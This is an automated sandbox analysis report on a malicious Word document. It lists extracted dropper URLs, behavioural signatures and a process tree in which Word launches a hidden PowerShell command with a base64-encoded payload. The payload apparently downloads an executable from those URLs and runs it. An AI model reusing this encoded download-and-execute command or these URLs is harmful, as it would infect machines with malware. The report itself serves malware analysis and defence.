Analysis

  • max time kernel
    26s
  • resource
    win10v191014
  • submitted
    20-12-2019 08:40

General

  • Target

    51c1db80e21059cffa913be9036be7f2fcced009dac34d429d308064659669e2

  • Sample

    191220-a3w4k8srkx

  • SHA256

    51c1db80e21059cffa913be9036be7f2fcced009dac34d429d308064659669e2

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.wangjy1211.xyz/wp-includes/bmzb-f0vjim4w-5277909/

exe.dropper

https://www.compelconsultancy.com/2ic0/lNeMPamsg/

exe.dropper

http://www.acgvideo.co/cache/rzvKsqUX/

exe.dropper

http://www.smdelectro.com/alfacgiapi/fkq-lke7btj-80091/

exe.dropper

https://www.air-pegasus.com/sips/ADcnKLXD/

Signatures

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\51c1db80e21059cffa913be9036be7f2fcced009dac34d429d308064659669e2.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:4964
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABMAGgAeQB0AHIAeQByAHQAcQBhAHkAPQAnAEwAZQB0AHoAeABkAHQAegBzAGwAJwA7ACQATgBkAGoAdQBjAGcAaABrAGEAIAA9ACAAJwA5ADMAMwAnADsAJABWAGQAZQBtAHcAdgB3AG4AdwBhAD0AJwBHAHQAawBkAHIAZQBvAHIAeQBpACcAOwAkAEQAaABoAGcAZwB5AHIAYwB3AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAGQAagB1AGMAZwBoAGsAYQArACcALgBlAHgAZQAnADsAJABJAG4AeABvAHEAcwB2AGEAagBoAGQAPQAnAEQAZABjAHAAeABwAGQAawBuAHEAawAnADsAJABXAGQAbQBtAHkAawBoAGwAbwA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgB3AGUAQgBjAEwAaQBlAG4AdAA7ACQATABpAHYAcQBuAHQAbAB6AGYAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB3AGEAbgBnAGoAeQAxADIAMQAxAC4AeAB5AHoALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBiAG0AegBiAC0AZgAwAHYAagBpAG0ANAB3AC0ANQAyADcANwA5ADAAOQAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYwBvAG0AcABlAGwAYwBvAG4AcwB1AGwAdABhAG4AYwB5AC4AYwBvAG0ALwAyAGkAYwAwAC8AbABOAGUATQBQAGEAbQBzAGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGMAZwB2AGkAZABlAG8ALgBjAG8ALwBjAGEAYwBoAGUALwByAHoAdgBLAHMAcQBVAFgALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAG0AZABlAGwAZQBjAHQAcgBvAC4AYwBvAG0ALwBhAGwAZgBhAGMAZwBpAGEAcABpAC8AZgBrAHEALQBsAGsAZQA3AGIAdABqAC0AOAAwADAAOQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBhAGkAcgAtAHAAZQBnAGEAcwB1AHMALgBjAG8AbQAvAHMAaQBwAHMALwBBAEQAYwBuAEsATABYAEQALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQAQQBoAGoAcwBsAG0AZQBxAGUAagB5AGkAdwA9ACcASABjAHoAcQB2AG8AbgBhAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFYAdwBiAHEAbABuAHQAcABmAGwAdQBoACAAaQBuACAAJABMAGkAdgBxAG4AdABsAHoAZgApAHsAdAByAHkAewAkAFcAZABtAG0AeQBrAGgAbABvAC4AIgBkAE8AdwBgAE4AbABgAE8AYQBEAEYAaQBgAGwAZQAiACgAJABWAHcAYgBxAGwAbgB0AHAAZgBsAHUAaAAsACAAJABEAGgAaABnAGcAeQByAGMAdwApADsAJABUAHUAYwB2AHcAbgBmAHUAPQAnAFEAcQB2AHEAagB4AHkAdABlAGcAYQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAEQAaABoAGcAZwB5AHIAYwB3ACkALgAiAGwAYABFAG4AZwB0AEgAIgAgAC0AZwBlACAAMgA4ADgANwA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAEEAcgBUACIAKAAkAEQAaABoAGcAZwB5AHIAYwB3ACkAOwAkAEsAcgB1AG4AaQBuAGcAeAA9ACcAVABrAG4AagBuAGwAZABjAGwAcgAnADsAYgByAGUAYQBrADsAJABEAHoAbQBxAG8AZwBoAHYAYgBpAD0AJwBLAGUAdABzAGwAZQBnAHQAegBsAHcAegBrACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAZAB5AHoAaABsAHkAbgB1AD0AJwBZAHoAcAB2AGkAbABvAG4AegBqAHMAawAnAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:3740

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/4964-2-0x000002AA0203A000-0x000002AA02043000-memory.dmp

    Filesize

    36KB